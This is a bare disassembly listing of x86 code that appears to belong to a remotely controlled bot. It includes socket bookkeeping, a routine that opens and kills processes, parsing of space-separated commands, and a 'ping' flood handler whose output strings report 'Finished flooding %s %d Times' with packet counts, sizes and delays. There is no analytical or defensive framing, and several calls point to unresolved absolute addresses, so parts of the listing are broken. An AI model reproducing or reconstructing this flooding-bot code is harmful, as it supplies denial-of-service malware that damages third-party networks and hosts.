		mov	dword_4491D3[eax*4], ecx
		mov	dword_4491D7[eax*4], ecx
		mov	dword_4491DB[eax*4], ecx
		mov	byte_448FCB[eax*4], cl
		mov	byte_4491E3[eax*4], cl
		retn
sub_425640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256B0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425767
		cmp	ecx, 400h
		jge	loc_425767
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_4491DF[esi*4]
		push	eax
		call	near ptr 27507D7h
		nop
		cmp	dword_4491DF[esi*4], ebx
		jz	short loc_4256F8
		mov	ebp, 1


loc_4256F8:				; CODE XREF: sub_4256B0+41j
		mov	dword_4491DF[esi*4], ebx
		mov	dword_4491CB[esi*4], ebx
		mov	dword_4491CF[esi*4], ebx
		mov	eax, dword_4491D3[esi*4]
		cmp	eax, ebx
		jbe	short loc_425721
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_425721:				; CODE XREF: sub_4256B0+66j
		mov	edi, dword_50FC88
		mov	dword_4491D3[esi*4], ebx
		mov	byte_448FCB[esi*4], bl
		mov	byte_4491E3[esi*4], bl
		mov	ecx, dword_4491D7[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_4491D7[esi*4], ebx
		mov	edx, dword_4491DB[esi*4]
		lea	esi, ds:4491DBh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425767:				; CODE XREF: sub_4256B0+Cj
					; sub_4256B0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4256B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257A0	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_4491CF


loc_4257B1:				; CODE XREF: sub_4257A0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_4257E5
		test	ebx, ebx
		jle	short loc_4257D7
		cmp	[esi], ebx
		jz	short loc_4257C8
		cmp	edi, ebx
		jnz	short loc_4257E5


loc_4257C8:				; CODE XREF: sub_4257A0+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5
		jmp	short loc_4257E4
; ---------------------------------------------------------------------------


loc_4257D7:				; CODE XREF: sub_4257A0+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5


loc_4257E4:				; CODE XREF: sub_4257A0+35j
		inc	ebp


loc_4257E5:				; CODE XREF: sub_4257A0+1Aj
					; sub_4257A0+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D61CF
		jl	short loc_4257B1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4257A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425820	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		call	near ptr 2770000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_425855
		push	0
		push	esi
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_425855
		push	esi
		xor	edi, edi
		nop
		call	near ptr 282071Eh


loc_425855:				; CODE XREF: sub_425820+1Dj
					; sub_425820+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425870	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_42587B:				; CODE XREF: sub_425870+1Cj
		cmp	[ecx], edx
		jnz	short loc_425880
		inc	eax


loc_425880:				; CODE XREF: sub_425870+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D61CB
		jl	short loc_42587B
		retn
sub_425870	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258A0	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_4258AE:				; CODE XREF: sub_4258A0+1Fj
		cmp	[ecx], edx
		jz	short loc_4258C3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D61CB
		jl	short loc_4258AE
		mov	eax, esi


loc_4258C3:				; CODE XREF: sub_4258A0+10j
		pop	esi
		retn
sub_4258A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258E0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448FCB


loc_4258E8:				; CODE XREF: sub_4258E0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4258FE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5FCB
		jl	short loc_4258E8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4258FE:				; CODE XREF: sub_4258E0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448FCBh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_4258E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425980	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_425980	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BD0:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425D68
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425C3B
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425C3B:				; CODE XREF: ___:00425C30j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425D68:				; CODE XREF: ___:00425C11j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425EDA
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425DAB
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425DAD
; ---------------------------------------------------------------------------


loc_425DAB:				; CODE XREF: ___:00425D9Ej
		xor	ebp, ebp


loc_425DAD:				; CODE XREF: ___:00425DA9j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425EDA:				; CODE XREF: ___:00425D7Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426049
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425F1A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425F1C
; ---------------------------------------------------------------------------


loc_425F1A:				; CODE XREF: ___:00425F0Dj
		xor	ebp, ebp


loc_425F1C:				; CODE XREF: ___:00425F18j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426049:				; CODE XREF: ___:00425EECj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4261F4
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426089
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42608B
; ---------------------------------------------------------------------------


loc_426089:				; CODE XREF: ___:0042607Cj
		xor	ebp, ebp


loc_42608B:				; CODE XREF: ___:00426087j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4261F4:				; CODE XREF: ___:0042605Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_426211
		mov	[ebx+11Ch], al


loc_426211:				; CODE XREF: ___:00426209j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4263D0	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A44
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4263F1
		inc	ecx
		mov	[eax+118h], ecx


loc_4263F1:				; CODE XREF: sub_4263D0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_4263D0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426450	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426450	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426620:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_426638
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426638:				; CODE XREF: ___:0042662Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426650	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426668
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426668:				; CODE XREF: sub_426650+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426680	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266A0	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4266A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426764
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42677E
; ---------------------------------------------------------------------------


loc_426764:				; CODE XREF: sub_4266A0+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42677E:				; CODE XREF: sub_4266A0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
